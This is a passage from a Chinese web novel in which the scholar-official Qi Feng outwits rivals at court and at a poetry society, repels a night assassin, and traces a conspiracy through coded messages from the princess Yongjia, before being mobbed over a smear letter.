他面色不变,从容答道:"回陛下,臣自幼体弱,家父为强健臣之体魄,曾请游方道士教导臣一些强身健体之术。至于武功高低...或许是臣天赋异禀,或许是那刘府护卫学艺不精,臣亦不知。”
“臣习武,只为自保,从未想过以此逞凶斗狠。那日若非刘公子及其护卫咄咄相逼,臣也不会出手。"
他把原因归结为"强身健体"和"天赋异禀",轻描淡写地化解了刘墉的指控,反而暗讽刘府护卫无能。
"你!"刘墉气得浑身发抖,还要再辩。
"够了。"
就在这时,景帝终于开口了,声音平淡,却带着不容置疑的威严,瞬间压下了殿内的嘈杂。
他目光扫过刘墉和齐枫,缓缓道:"酒楼冲突,各有对错。齐枫出手制止恶行,其心可嘉,但方式欠妥。刘墉教子不严,纵子行凶,亦有失察之过。"
各打五十大板!但明显偏向齐枫更多一些,毕竟齐枫是"见义勇为",而刘墉是"教子不严"。
"此事,到此为止。"景帝一锤定音,"齐枫罚俸三月,以示惩戒。刘墉,回去好生管教子弟,若再有不法,朕定不轻饶!"
"臣...遵旨!"刘墉虽然心有不甘,但皇帝已经发话,他也不敢再纠缠,只能咬牙领命,心中对齐枫的恨意却更深了。
"谢陛下隆恩!"齐枫躬身谢恩,神色平静。
一场看似凶险的朝堂风波,就在景帝的乾纲独断下,消弭于无形。
齐枫不仅没有受到实质性惩罚,反而因为他在朝堂上不卑不亢、有理有据的表现,赢得了不少官员的暗中赞赏。
当然,他也彻底得罪了户部侍郎刘墉,以及其背后可能存在的势力。
但齐枫毫不在意。
既然选择了这条路,他就没想过要左右逢源。
在这京城,唯有展现出足够的价值和实力,才能屹立不倒。
退朝之后,齐枫在众人复杂的目光中,坦然走出金銮殿。
经此一役,他齐枫的名字,算是真正在京城官场上挂上号了。
只是接下来,恐怕会有更多的明枪暗箭等待着他。
朝堂风波过后,齐枫在京城的名声更加响亮,但也更加两极分化。
支持者欣赏其才华与风骨,反对者则视其为搅局者和潜在威胁。
齐枫对此心知肚明,依旧我行我素,除了按时去翰林院点卯,便是闭门读书,或是偶尔与孙绍祖等少数谈得来的同僚交流,深居简出。
这一日,休沐之期,齐枫收到了一份请柬,是京城有名的"兰台诗社"发出的邀请,请他参加诗社举办的春日雅集。
兰台诗社由一些清流文官和翰林院的年轻官员组成,在士林中颇有声望,其社长更是礼部的一位老侍郎。
齐枫本不想参加这类应酬,但考虑到诗社在清流中的影响力,以及李光地尚书似乎也与诗社有些渊源,便决定前去看看。
雅集设在城西一处名为"沁芳园"的私家园林,园内亭台楼阁,小桥流水,景致颇为雅致。
第三百六十二章 毒舌
齐枫到时,园内已经聚集了二三十位文人墨客,大多穿着官服或儒衫,三五成群,谈笑风生。
齐枫的出现,立刻吸引了不少目光。
众人神色各异,有好奇,有审视,也有不加掩饰的冷淡。
毕竟他如今是京城的风云人物,毁誉参半。
"齐庶吉士大驾光临,有失远迎!"一个面容清癯、气质儒雅的中年官员迎了上来,正是诗社的副社长,翰林院侍讲学士,张文远。
"张大人客气了。"齐枫拱手还礼。
张文远引着齐枫与众人见面。
不少人碍于礼节,与齐枫寒暄几句,但态度并不热络。
齐枫也乐得清静,找了个角落的位置坐下,自顾品茶赏景。
但是很快,就有人将矛头指向了他。
一个穿着从六品官服、面色倨傲的年轻官员,乃是都察院的一名御史,姓王,名铮。
此人素以言辞犀利、敢于弹劾著称,但也有些沽名钓誉。
他见齐枫独坐一隅,便端着酒杯走了过来,语带挑衅:
"齐庶吉士,久仰大名!听闻齐庶吉士不仅在江南文名远播,于武功一道亦是深藏不露,连刘侍郎府的护卫都不是您一合之敌,真是文武双全,令人佩服啊!"
他这话看似恭维,实则是在暗讽齐枫"不务正业",一个文人却去练武,还当众动手,有失体统。
周围的人都安静下来,饶有兴致地看着这边,想看看齐枫如何应对。
齐枫放下茶杯,抬眼看了王铮一眼,淡淡道:"王御史过奖了。齐某只是略通皮毛,强身健体而已。比不得王御史,口诛笔伐,弹劾百官,那才是真正的''武功''高强。"
他这话绵里藏针,暗讽王铮只会耍嘴皮子、靠弹劾别人博取名声。
王铮脸色一僵,没想到齐枫言辞如此犀利。
他冷哼一声:"齐庶吉士倒是牙尖嘴利!不过,我等读书人,终究还是要以文章学问立身。听闻齐庶吉士诗词双绝,不知今日可否让我等开开眼界?"
这是要逼齐枫作诗了。
众人都知道王铮这是故意刁难,想看看齐枫是否真如传闻中那般有才,还是徒有虚名。
齐枫岂会惧他?淡然道:"不知以何为题?"
这时,诗社社长,那位礼部老侍郎抚须笑道:"今日春光明媚,不如就以这春色为题,诸位各展才华,如何?"
众人纷纷称善。
王铮抢先道:"那便由学生先抛砖引玉吧!"他清了清嗓子,吟诵道:"''东风拂面柳丝长,紫燕衔泥绕画梁。最是一年春好处,绝胜烟柳满皇都。''"
平心而论,这首诗写得还算工整,描绘了春日景象,也符合主流审美,引来几声客气的称赞。
王铮得意地看了齐枫一眼。
接着,又有几人相继赋诗,水平都在伯仲之间。
轮到齐枫时,所有人都将目光投向他。
张文远眼中带着一丝期待,而王铮等人则等着看笑话。
齐枫站起身,走到窗边,望着园中盛开的桃花和潺潺流水,略一沉吟,朗声吟道:
"《春日偶成》
云淡风轻近午天,傍花随柳过前川。
时人不识余心乐,将谓偷闲学少年。"
诗声清越,回荡在园中。
前两句写景,云淡风轻,傍花随柳,勾勒出一幅闲适恬淡的春日画卷。
后两句抒情,"时人不识余心乐,将谓偷闲学少年",看似自嘲,实则流露出一种超然物外、自得其乐的豁达心境,与眼前这些汲汲于名利、争强好胜的官员形成了鲜明对比!
全诗语言浅白,却意境高远,格调清新脱俗,远超之前那些堆砌辞藻、拘泥格律的诗作!
园内一片寂静!
所有人都被这首诗中蕴含的那份闲适与超然所打动,仿佛一泓清泉,洗涤了心中的浮躁。
良久,张文远才抚掌赞叹:"妙!妙啊!时人不识余心乐,将谓偷闲学少年!此句道尽我辈心中所想却未能言之意境!齐庶吉士大才,老夫佩服!"
其他文人也纷纷从震惊中回过神来,发出由衷的赞叹。
"好诗!格调高远,非寻常可比!"
"比起之前那些,简直是云泥之别!"
"齐解元果然名不虚传!"
王铮脸色一阵青一阵白,他本想刁难齐枫,却没想到反而成了对方的垫脚石,衬托出对方的才华横溢!
他站在那里,走也不是,留也不是,尴尬到了极点。
齐枫摇了摇头,觉得无趣,淡然离去。
暗地里。
户部侍郎刘墉显然并未放弃报复。
朝堂上明着弹劾未能奏效,暗地里的手段便开始层出不穷。
先是齐枫在翰林院查阅的一些档案卷宗,开始出现"意外"的缺失或损坏,给他了解朝局和北境历史带来了不少麻烦。
接着,他在澄清坊的住处附近,开始出现一些形迹可疑的生面孔,显然是有人在监视他的一举一动。
甚至有一次,他夜间在院中练功时,隐约感觉到远处有窥视的目光,但当他凝神探查时,那目光又消失了,对方显然是个高手。
这些宵小手段,自然奈何不了齐枫,但也让他意识到,刘墉或者说其背后的势力,并未死心,而是在等待时机,准备给他致命一击。
"少爷,最近外面好像有些不太平。"连阿福都察觉到了异常,有些担忧地说道。
"无妨,跳梁小丑而已。"齐枫神色平静,继续翻阅着手中一本好不容易才找到的、关于前朝皇室秘闻的野史笔记。
他需要了解更多关于楚清秋身世以及乾朝覆灭的内幕,这对他未来的计划至关重要。
树欲静而风不止。
这一日深夜,齐枫正在房中打坐调息,忽然心有所感,猛地睁开眼睛!
他感觉到一股极其隐晦、却带着阴冷杀意的气息,正悄然潜入小院!
来人身法极高,若非齐枫灵觉敏锐,几乎难以察觉!
"终于忍不住要动手了吗?"齐枫眼中寒光一闪,身形如同鬼魅般悄无声息地滑出房间,融入夜色之中。
小院寂静无声,只有风吹过树叶的沙沙声。
第三百六十三章 暗杀
齐枫屏息凝神,将自身气息收敛到极致,如同暗夜中的猎手,感知着那潜入者的动向。
那潜入者显然是个老手,行动极为谨慎,并未直接冲向齐枫的房间,而是在院中各处悄然探查,似乎在寻找着什么,或者是在确认齐枫的位置。
齐枫隐匿在屋檐下的阴影中,冷眼旁观。
他发现此人武功路数颇为诡异,身法飘忽,带着一股阴邪之气,与正统武功大相径庭。
"幽冥教?"齐枫心中一动。难道刘墉与幽冥教有勾结?还是说,是幽冥教自己找上门来了?
就在这时,那潜入者似乎确认了齐枫不在房中,齐枫气息收敛,房中如同无人,开始朝着书房的方向摸去。
齐枫不再犹豫,身形一动,如同苍鹰搏兔,悄无声息地扑向那潜入者!
那潜入者反应极快,在齐枫动身的瞬间便已察觉,猛地回身,手中一道乌光如同毒蛇般刺向齐枫咽喉!速度快得惊人!
齐枫不闪不避,并指如剑,指尖凝聚一丝天劫之力,精准地点在那乌光之上!
"叮!"
一声轻响,那乌光竟是一柄淬毒的短刃,在与齐枫手指接触的瞬间,如同被雷霆击中,毒刃上的幽光瞬间黯淡,那潜入者更是如遭重击,闷哼一声,踉跄后退,持刃的手臂微微颤抖,眼中充满了惊骇!
他显然没料到齐枫的实力如此恐怖!
"谁派你来的?"齐枫负手而立,目光冰冷地看着对方。
此人蒙着面,只露出一双阴鸷的眼睛。
那潜入者一言不发,眼中凶光一闪,身形猛地炸开一团黑雾,整个人如同融入了夜色,瞬间向院外遁去!竟是某种高明的遁术!
"想走?"齐枫冷哼一声,岂容他轻易逃脱?他身形如电,后发先至,瞬间追至对方身后,一掌拍出!
这一掌看似轻飘飘,却蕴含着至阳至刚的天劫之力,掌风所过之处,那团黑雾如同冰雪消融,瞬间溃散!
那潜入者身形暴露,再次喷出一口鲜血,速度大减!
齐枫正要将其擒下,忽然心念一动,改变了主意。
他故意卖了个破绽,掌力微微一偏。
那潜入者见状,以为找到了生机,不顾伤势,拼命催动内力,如同丧家之犬般,仓惶翻过院墙,消失在黑暗的巷道中。
齐枫并未追赶,只是站在原地,嘴角勾起一抹冷冽的弧度。
他刚才那一掌,虽然未能留下对方,但却在其体内留下了一道极其隐晦的天劫之力印记。凭借这道印记,只要对方还在京城,他就能大致感知到其方位。
"放长线,才能钓大鱼。"齐枫喃喃自语。他倒要看看,这背后究竟藏着什么牛鬼蛇神!
他没有惊动阿福和阿贵,悄无声息地回到房中,仿佛什么都没有发生过。
第二天,一切如常。齐枫依旧按时前往翰林院,仿佛对昨晚的袭击一无所知。
但他暗中,已经开始通过富贵提前安排潜入京城的暗卫,根据那道印记,悄悄追踪那名受伤的潜入者。
果然,暗卫很快传来消息,那潜入者最后消失的区域,靠近城西的"永平坊",那里鱼龙混杂,多有江湖人士和地下势力盘踞。
齐枫并未立刻采取行动,而是让暗卫继续监视,同时开始暗中调查刘墉以及可能与幽冥教有关的线索。
他有一种预感,京城这潭水,远比他想象的还要深。
夜色如墨,齐枫静立于院中,感知着那道被自己种下的天劫印记,如同黑暗中一缕微弱的星火,在京城西北方向的永平坊区域内隐隐闪烁。
他没有急于收网,猎人需要有足够的耐心,等待猎物引出更大的兽群。
富贵悄无声息地出现在他身后。
富贵一直被他悄悄安排在身边,如今也是用的时候了。
他低声道:“少爷,查到了。永平坊那片区域,表面上是三教九流混杂之地,但暗地里,有几个地下帮派似乎都与一个叫‘暗香阁’的地方有牵连。那暗香阁明面上是一家乐坊,背地里……”
“背地里如何?”齐枫语气平淡。
“似乎是一个情报交易和雇佣刺杀的中介点。行事极为隐秘,我们的人也是费了好大功夫,才摸到一点边。”富贵的声音带着一丝凝重,“而且,根据零星线索推断,这暗香阁的背后,可能站着某位皇亲国戚。”
皇亲国戚?齐枫眼中闪过一丝玩味。事情果然变得有趣了。
一个户部侍郎的公子被揍,引来的报复竟然牵扯到可能与皇亲有关的暗势力?这不合常理。
除非,刘墉也只是一枚棋子,或者,对方的目标从一开始就不仅仅是报复那么简单。
“继续查,重点放在暗香阁,查清它真正的主人,以及近期所有不寻常的动向。特别是与刘墉,或者与北境、幽冥教有关的蛛丝马迹。”齐枫吩咐道,“另外,我们的人手要更加分散、隐蔽,非必要不联系。”
“是。”富贵领命,再次融入阴影。
次日,齐枫如常前往翰林院。
他如今在翰林院已是个特殊的存在,既有因才华和觐见表现而获得的些许尊重,也有因行事风格而带来的疏离。
他乐得清静,大部分时间都埋首于浩如烟海的档案典籍之中,试图从故纸堆里寻找关于乾朝末期政局、皇室成员以及当年那场宫变的更多细节。
就在他翻阅一本前朝《起居注》副本时,侍读学士王大人走了过来,脸上带着一丝难得的和煦笑容。
“齐庶吉士,今日可有空闲?”
齐枫放下书卷,起身行礼:“王大人有何吩咐?”
“非是吩咐。”王学士摆摆手,“今日午后,永嘉郡主在城北的‘梅园’设下茶会,邀请了一些翰林院的年轻才俊前去品茗论诗。郡主素来雅好文事,特意点名,希望齐庶吉士也能拨冗前往。”
永嘉郡主?齐枫脑海中迅速闪过相关信息。
这是当今圣上的侄女,其父端王早逝,由太后抚养长大,颇得圣心,在宗室中地位特殊,且以才情和美貌闻名京城。
她举办的茶会,无疑是京城年轻士子趋之若鹜的场合。
第三百六十四章 郡主
齐枫本能地想要拒绝这类应酬,但“永嘉郡主”这四个字,让他心中微微一动。
他想起在清江浦码头,那艘华丽官船中,那道惊鸿一瞥的审视目光。
虽未看清面容,但那份气度,绝非寻常官家女子所有。
“承蒙郡主厚爱,王大人亲自相邀,齐某岂敢推辞。”齐枫改变了主意,他需要确认一些事情。
王学士满意地点点头:“如此甚好。未时三刻,在翰林院门口集合,一同前往。”
午后,齐枫随着王学士以及另外几位被选中的翰林同僚,乘车前往城北梅园。
虽是春季,梅园内其他花卉已然盛开,绿树成荫,景致依旧宜人。
茶会设在一处临水的敞轩之中,焚着清雅的檀香,几名乐师在远处奏着轻柔的古曲。
到场的除了翰林院几人,还有几位宗室子弟和京中高官家的公子,个个衣着光鲜,气度不凡。
齐枫依旧是那身朴素的青衫,在人群中显得有些格格不入,但他神色自若,坦然承受着各种打量、好奇甚至略带轻蔑的目光。
片刻后,环佩叮咚,香风微拂,在一群侍女簇拥下,一位身着淡紫色宫装长裙的年轻女子款步走入敞轩。
她云鬓高耸,容颜绝丽,眉宇间既有皇室贵女的雍容,又带着一丝书卷气的清雅,正是永嘉郡主。
众人纷纷起身见礼。
永嘉郡主目光在众人面上扫过,在看到齐枫时,微微停顿了一瞬,嘴角泛起一抹极淡、难以察觉的笑意,随即恢复如常,抬手示意众人落座。
“今日请诸位才俊前来,不必拘礼,只当是好友小聚,品茗清谈即可。”永嘉郡主声音清越,如珠落玉盘。
茶会开始,众人先是品评着郡主府特有的“雪顶含翠”,话题渐渐引向诗词歌赋、古今文章。
几位急于表现的公子哥儿开始引经据典,高谈阔论,试图引起郡主的注意。
齐枫只是安静地坐着,偶尔品一口茶,目光偶尔掠过主位上的永嘉郡主,心中已然确定,就是她。
清江浦码头的那道目光,与此刻郡主那看似随意,实则带着探究的眼神,如出一辙。
他并不主动开口,但永嘉郡主却似乎不愿让他置身事外。
“齐庶吉士,”郡主忽然点名,笑吟吟地看着他,“听闻你日前在兰台诗社,一首《春日偶成》令满座皆惊,‘时人不识余心乐’一句,更是道尽闲适真趣。不知今日面对这满园春色,可又有新的感悟?”
瞬间,所有人的目光再次聚焦在齐枫身上。那些原本高谈阔论的人,也下意识地收声,想看看这个风头正劲的“狂生”如何应对。
齐枫放下茶杯,从容道:“郡主谬赞。诗词乃抒怀之作,有感而发方为真。今日蒙郡主盛情,得享清茗,坐观园景,心绪平和,一时倒无甚佳句。”
他这话说得不卑不亢,既没有顺势卖弄,也没有刻意推诿。
永嘉郡主眼中闪过一丝讶异,似乎没料到他会如此回答。
她轻笑一声:“齐庶吉士倒是坦诚。不过,本宫却觉得,有时平和之心,反能见人所未见。譬如这杯中茶,众人皆品其香醇,却未必有人去想,它历经几重炒制,方有今日之味。”
她这话似乎意有所指,目光清澈地看着齐枫。
齐枫心中微动,迎着她的目光,淡然道:“郡主高见。物之成理,往往藏于细微。知其然,更须知其所以然。就如同这京城,人人只见其繁华似锦,却未必深究其下暗流几何。”
两人这番关于“茶”与“理”的对话,看似平常,却隐隐有股机锋交错的意味,让在座一些敏锐之人察觉出些许不同寻常。
这齐枫,似乎与郡主并非初次相识?而且,对话中似乎藏着别的意思?
永嘉郡主闻言,唇角笑意更深了些,不再追问,转而与其他人谈起书画。
但齐枫能感觉到,她对自己那份若有若无的关注,并未减少。
茶会持续了一个多时辰方散。离开梅园时,一位郡主府的侍女悄然走到齐枫身边,递上一个精巧的食盒,低声道:“齐公子,郡主说今日茶点甚多,这份‘桂花定胜糕’是江南风味,特让奴婢送给公子,聊解思乡之情。”
齐枫接过食盒,道了声谢。
心中了然,这绝不仅仅是“聊解思乡之情”那么简单。他不动声色地拿着食盒回到马车,打开一看,糕点之下,压着一张折叠的素笺。
展开素笺,上面只有一行清秀的小字:
“夜阑听风雨,楼高望京华。”
落款处,画了一朵小小的、含苞待放的兰花。
齐枫看着这没头没脑的一句诗和这朵兰花,眼神深邃起来。
这位永嘉郡主,果然不简单。
她不仅在清江浦就注意到了自己,如今更是在这看似寻常的茶会上,递来了这样一张含义不明的纸条。
“夜阑听风雨,楼高望京华……”他低声咀嚼着这句诗,嘴角慢慢勾起一抹弧度。
这京城的风雨,看来比他预想的,要来得更早,也更复杂。
就是不知道这位神秘的郡主,在这场风雨中,又扮演着怎样的角色了。
回到澄清坊的小院,齐枫屏退阿福阿贵,独自在书房中对着那张素笺沉思。
“夜阑听风雨,楼高望京华。”
这句诗表面是写景,实则暗藏机锋。
“夜阑”指深夜,“风雨”可指自然现象,亦可喻指朝堂或京城的动荡。
“楼高”是立足点,意味着发出信息者身处高位,能俯瞰全局。
“望京华”则是观察的目标,直指京城核心。
她在暗示京城将有风雨,而她身处能观测风雨的位置?这是在示警,还是试探?或者,是邀请?
那朵含苞的兰花,是她的标记,还是另有所指?
兰花在传统文化中常喻君子、高洁,但也可能代表某个组织或势力的象征。
齐枫指尖轻轻敲击桌面。
永嘉郡主,端王遗孤,太后抚养,圣心眷顾……这样的身份,为何会对他一个毫无根基的江南士子产生兴趣?
仅仅是因为清江浦的出手,和如今的些许文名?绝无可能。
第三百六十五章 层层相关
齐枫回想起茶会上郡主那看似随意,实则隐含深意的话语。
“知其然,更须知其所以然……”
她是在提醒自己,不要只看表面,要深入探查京城势力盘根错节的根源?
还有那盒“桂花定胜糕”,江南风味……她连自己的籍贯喜好都打探清楚了?这份“关怀”,未免太过细致。
齐枫将素笺置于烛火之上,看着它缓缓燃成灰烬。
无论永嘉郡主目的为何,至少目前看来,她释放的并非完全是恶意。
这条线,可以留着,但需谨慎接触。
当前首要,还是弄清水平坊和暗香阁的底细。
接下来的几天,齐枫按兵不动,翰林院、小院两点一线,仿佛完全沉浸在典籍和日常事务中。
暗地里,通过富贵建立的隐秘渠道,关于暗香阁和刘墉的信息,正一点点汇集过来。
“少爷,有进展了。”这日深夜,富贵再次回报,声音带着一丝兴奋,“我们的人设法接触到了一个曾经在暗香阁做过事的杂役,虽然接触不到核心,但他提供了一个重要信息。”
“大概在您入京前后,暗香阁确实接洽过一桩‘买卖’,目标疑似是新入京的官员,但具体是谁,层级太低,他不清楚。而且,那段时间,暗香阁的后院,曾短暂安置过一批身上带着阴寒气息、行动诡秘的客人,与我们之前交手过的幽冥教残余特征有些相似。”
齐枫眼神一凝。
线索串起来了!暗杀自己的委托,很可能就是通过暗香阁发出的!而幽冥教的人,也曾在那里落脚!
这个暗香阁,果然是藏污纳垢之地,并且很可能就是连接朝中某些人与幽冥教等江湖势力的枢纽。
“至于刘墉,”富贵继续道,“我们查到,他除了与吏部尚书林家有姻亲关系外,林天傲是其外甥,近半年来,与一位姓‘裘’的商人过往甚密。而这位裘姓商人,明面上做的是绸缎生意,暗地里,却控制着京城不少见不得光的行当,并且……他与暗香阁有资金往来。”
“裘?”齐枫立刻想到了被漕帮帮主杜振山清理门户的三长老裘万山!“可查到这商人叫什么?与漕帮那个裘万山是否有关系?”
“正在查,对方很谨慎,用的都是化名,真实身份隐藏极深。但资金流向做不得假,我们正在顺藤摸瓜。”
齐枫沉吟片刻。
如果这个裘姓商人就是裘万山的族人或者同党,那么刘墉与他的勾结,就不仅仅是官商勾结那么简单,很可能涉及更深的图谋。
比如,为裘万山报仇,或是继续裘万山未尽的、可能与幽冥教相关的勾当。
“重点查这个裘姓商人,还有他与刘墉之间的具体交易。同时,想办法摸清暗香阁内部的防卫力量和出入路径。”齐枫下令。
他预感,揭开暗香阁的面纱,就能扯出背后一连串的势力。
“是!”
就在齐枫暗中布局的同时,朝堂之上,一场与他间接相关,却影响深远的风波正在酝酿。
这日大朝,景帝再次问及北境局势。
兵部尚书奏报,霍天都部凭借险要地势负隅顽抗,朝廷大军进展缓慢,粮草消耗巨大,且北漠骑兵时有异动,边关压力倍增。
景帝面色不豫,询问众臣对策。
一部分官员主张增兵,强力镇压,一部分则旧调重弹,主张招抚。
双方争执不下。
这时,一位素以刚直敢言著称的都察院左副都御史,出列奏道:“陛下,北境之患,根子在吏治,症结在军备!齐枫日前所言,并非全无道理!臣听闻,北境三城守备松懈,武库空虚,乃至让霍天都一击得手,此非一日之寒!臣恳请陛下,下旨彻查北境军备及吏治情况,严惩渎职之辈!”
他这话,等于是间接肯定了齐枫之前的观点,在朝堂上引起了不小的震动。
立刻有官员反驳:“李大人此言差矣!当务之急是平叛!若此时大规模彻查,必然导致边关人心惶惶,岂非给霍天都可乘之机?”
“正是!攘外必先安内?此乃迂腐之见!当以雷霆之势扑灭叛乱,再行整顿不迟!”
“若不整顿,今日扑灭霍天都,明日又出张天都、李天都!根源不除,叛乱不止!”
朝堂上再次吵成一团。
端坐龙椅的景帝,面无表情地听着臣子们的争论,目光偶尔掠过站在末班、眼观鼻鼻观心的齐枫,深邃难测。
最终,景帝没有当场做出决断,只是下令内阁与兵部、户部详议,拿出一个章程。
退朝后,齐枫能感觉到,投向自己的目光又多了许多复杂的意味。
有人欣赏,有人忌惮,有人则带着更深的敌意。
他知道,自己已经被不可避免地卷入了朝堂关于北境策略的漩涡中心。
回到翰林院,同屋的孙绍祖低声道:“齐兄,今日李御史为你发声,虽是好意,但也将你推到了风口浪尖。主张增兵扑剿的一方,背后站着不少勋贵和将门,势力庞大,你……要多加小心。”
齐枫点了点头:“多谢孙兄提醒,我心中有数。”
朝堂之争,很多时候并非简单的对错之分,而是利益和权力的博弈。
傍晚时分,齐枫离开翰林院,并未直接回澄清坊,而是信步走向离皇城不远的一处相对僻静的街道。
他需要理清思路,思考如何利用当前局面。
走着走着,他忽然心有所感,停下脚步,转向旁边一条更显幽深的小巷。
巷子尽头,是一家门面不大、看起来毫不起眼的书铺,招牌上写着“墨香斋”三个古朴的字。
齐枫推门而入,店内光线昏暗,书架林立,弥漫着陈旧纸张和墨锭的味道。
一个须发皆白、戴着老花镜的掌柜正伏在柜台上打盹。
齐枫随意在书架间浏览,目光扫过那些或新或旧的书籍。
忽然,他的视线在一本蓝色封皮、无名的线装书上停住。
这本书摆放的位置很隐蔽,而且书脊上,用一个极淡的墨迹,画了一朵小小的、含苞待放的兰花。
第三百六十六章 一些隐秘的信息
与永嘉郡主纸条上那一朵,一模一样。
齐枫的心跳微微加速。他不动声色地取下那本书,走到柜台前,轻轻敲了敲桌面。
老掌柜迷迷糊糊地抬起头,推了推眼镜,看到齐枫手中的书,浑浊的眼睛里闪过一丝极快的精光,随即又恢复睡眼惺忪的模样。
“客官,要买这本书?”老掌柜的声音沙哑。
“不错。”齐枫将书放在柜台上,“不知售价几何?”
老掌柜伸出三根手指:“三钱银子。”
齐枫付了钱,拿起书,并未当场翻阅,径直离开了书铺。
回到小院书房,他屏退左右,这才仔细查看这本无名书。
书很薄,内容看似是一些杂乱无章的地理杂记和游记片段,文笔拙劣,毫无价值。
但齐枫相信,永嘉郡主绝不会无的放矢。
他凝神静气,指尖缓缓拂过书页,一丝微弱的精神力渗透进去。
果然,在看似杂乱的文字间隙,他感受到了一种极其隐晦的能量波动。
这是一种高明的密写术!
他集中精神,循着那能量波动的引导,书页上的文字开始在他脑海中重组、变幻,最终浮现出全新的内容。
这不是武功秘籍,也不是朝堂秘闻,而是一份名单和几条简短的信息!
名单上罗列了几个名字和官职,其中赫然有那位与他有过冲突的户部侍郎刘墉,还有一个名字让他目光一凝,吏部文选清吏司主事,袁惊尘!
竟然是袁家那个漏网之鱼!他不仅没死,还混入了京城,甚至进入了掌管官员升迁调动的吏部要害部门!
信息则更简短:
“裘半城,暗香阁主,端王府旧人。”
“北漠使团,不日抵京。”
“小心‘清风’。”
齐枫合上书,眼中寒光闪烁。永嘉郡主这份“礼物”,分量可不轻!
名单指向了潜在的敌人。信息则揭示了更惊人的内幕。
暗香阁的主人,绰号“裘半城”,竟然是端王府的旧人!而端王,是永嘉郡主的生父!
这意味着,暗香阁很可能与永嘉郡主有着千丝万缕的联系,甚至可能就是她麾下的势力?那她提醒自己小心暗香阁,是贼喊捉贼,还是内部并非铁板一块?
北漠使团即将抵京?在这个敏感时刻,意欲何为?
“小心‘清风’”……“清风”指的是什么?是一个人,一个组织,还是一种暗号?
齐枫感到,一张无形的大网,正在京城缓缓张开。
而他自己,似乎已经站在了网的中心。
不过无名书卷带来的信息,让齐枫对京城的局势有了颠覆性的认知。
他原本以为对手是刘墉及其背后的林家,充其量加上一个神秘的幽冥教分部残余。
但现在,线索却指向了更深处,甚至牵扯到皇室宗亲。
“裘半城,暗香阁主,端王府旧人。” 这十一个字蕴含的信息量巨大。
暗香阁这个藏污纳垢、可能连接朝官与幽冥教的地下枢纽,其主人竟然是已故端王的旧部!
而端王之女永嘉郡主,却将这条线索间接送到了自己手中。
这只有两种可能:其一,永嘉郡主与裘半城并非一路,甚至可能存在矛盾,她借自己之手来对付裘半城。
其二,这是一个更深的圈套,目的是将自己引入某个陷阱。
齐枫更倾向于前者。
因为那份名单做不得假,将刘墉、袁惊尘这些对自己有敌意的人点出来,对永嘉郡主并无好处,除非她想借刀杀人,或者,她确实在释放善意,提醒自己潜在的威胁。
至于“北漠使团”和“小心清风”,则暂时无法验证,只能提高警惕。
接下来的几天,齐枫更加深居简出,连翰林院都托病告假了几日,专心在小院中消化信息,并通过富贵调整调查方向。
“少爷,确认了。”富贵带来新的消息,“那个与刘墉来往密切的裘姓商人,化名‘裘四海’,明面上的生意做得不小,人称‘裘半城’。”
“我们的人冒险接近了他的一个心腹,套出话来,裘半城确实曾是端王府的侍卫统领,端王去世后,才转入暗处经营这些势力。”
“至于暗香阁,防卫极其森严,明哨暗卡无数,而且似乎布置有奇门阵法,我们的人不敢靠得太近,怕打草惊蛇。不过,可以确定的是,袁惊尘近期曾多次秘密出入那里。”
齐枫手指轻叩桌面。袁惊尘……这个幽冥教合作者的后代,果然贼心不死,潜回京城,还混入了吏部。
他与裘半城、刘墉搅在一起,所图必然不小。
很可能与幽冥教未尽的“血月祭”之类的阴谋有关。
“北漠使团的消息呢?”齐枫问。
“已经得到官方证实。北漠派出的以左贤王为首的使团,已在路上,预计十日后抵达京城。名义上是为陛下祝寿,并商谈边境互市事宜。”
祝寿?景帝的万寿节还有近半年,这个借口未免蹩脚。
商谈互市?在北境战事未平的情况下?
看来这北漠使团此行,定然别有用心。联想到永嘉郡主信息中的提示,齐枫心中警兆更甚。
“让我们的人暂停对暗香阁的深入探查,转为外围监视,重点记录所有出入人员,特别是官员和身份可疑者。同时,分出一部分人手,密切关注北漠使团抵达后的动向,以及京城内外是否有异常的人员集结或物资流动。”
齐枫下令。在情况未明时,贸然闯入暗香阁绝非明智之举。
“是!”
就在齐枫暗中布局之际,一场他未曾预料到的风波,却以一种意想不到的方式找上门来。
这日,他“病愈”回到翰林院,却感觉气氛有些异样。
同僚们看他的眼神不再是单纯的好奇或疏离,而是多了几分……同情?甚至幸灾乐祸?
孙绍祖将他拉到一边,低声道:“齐兄,你可算来了!出事了!”
“何事?”齐枫皱眉。
“昨日,都察院收到一份匿名投书!”孙绍祖语气急促,“信中列举了你在江南府城的诸多‘劣迹’,包括与江湖势力往来密切、插手地方政务、甚至……甚至与自己的婢女林姓女子未婚先孕,有伤风化!”
第三百六十七章 有伤风化
孙绍祖顿了顿,又道:“还说你入京后,依然不改嚣张本性,当众殴辱朝廷命官之子,结交宗室,意图幸进!说得有鼻子有眼,如今已在朝野间小范围传开了!”
齐枫眼中寒光一闪。
匿名信?这手段倒是卑劣而有效。攻击他的品行,尤其是“未婚先孕”这一条,在这个极度重视礼法的时代,足以对他的声誉造成毁灭性打击。
而“结交宗室,意图幸进”,更是将他与永嘉郡主的正常往来恶意曲解,挑拨他与清流士林的关系。
“可知是何人所为?”齐枫声音平静,但熟悉他的人能听出那平静下的冷意。
“匿名信,无从查起。但……”孙绍祖犹豫了一下,“传言似乎是从……国子监和某些清流聚会中流传开的。”
国子监?清流?齐枫立刻想到了一个人,孟文辉!
此人身为理学派在翰林的代表,一向看自己不顺眼,且有足够的动机和能力煽动舆论。
“跳梁小丑。”齐枫只说了四个字,并未显得多么愤怒。
这种污蔑,对他而言,不痛不痒,他甚至懒得去辩解。
清者自清,在这种事情上纠缠,反而落了下乘,正中了背后之人的下怀。
可当天下值,齐枫刚走出翰林院大门,就被一群不知从何处涌来的士子模样的年轻人围住了。
这些人个个义愤填膺,口诛笔伐。
“齐枫!你枉读圣贤书!行为不端,有何颜面立于朝堂!”
“与女子无媒苟合,简直是我辈士林之耻!”
“滚出翰林院!滚出京城!”
声音嘈杂,引来大量围观百姓。
阿福和阿贵紧张地护在齐枫身前,却被齐枫轻轻拨开。
他目光平静地扫过这群激愤的、多半是被人利用的年轻士子,缓缓开口,声音不大,却清晰地压过了所有嘈杂。
“齐某行事,问心无愧。尔等受人蛊惑,在此喧哗,可知已触犯《大景律》,聚众滋事,扰乱官署?”
他的冷静和提及律法,让一部分士子气势一窒。
但为首一人,显然是带头者,高声叫道:“齐枫!你休要狡辩!匿名信上所言,桩桩件件,你敢否认吗?那林姓女子何在?你可敢让她出来对质?!”
齐枫眼神骤然一冷。
牵扯到楚清秋,触及了他的底线。
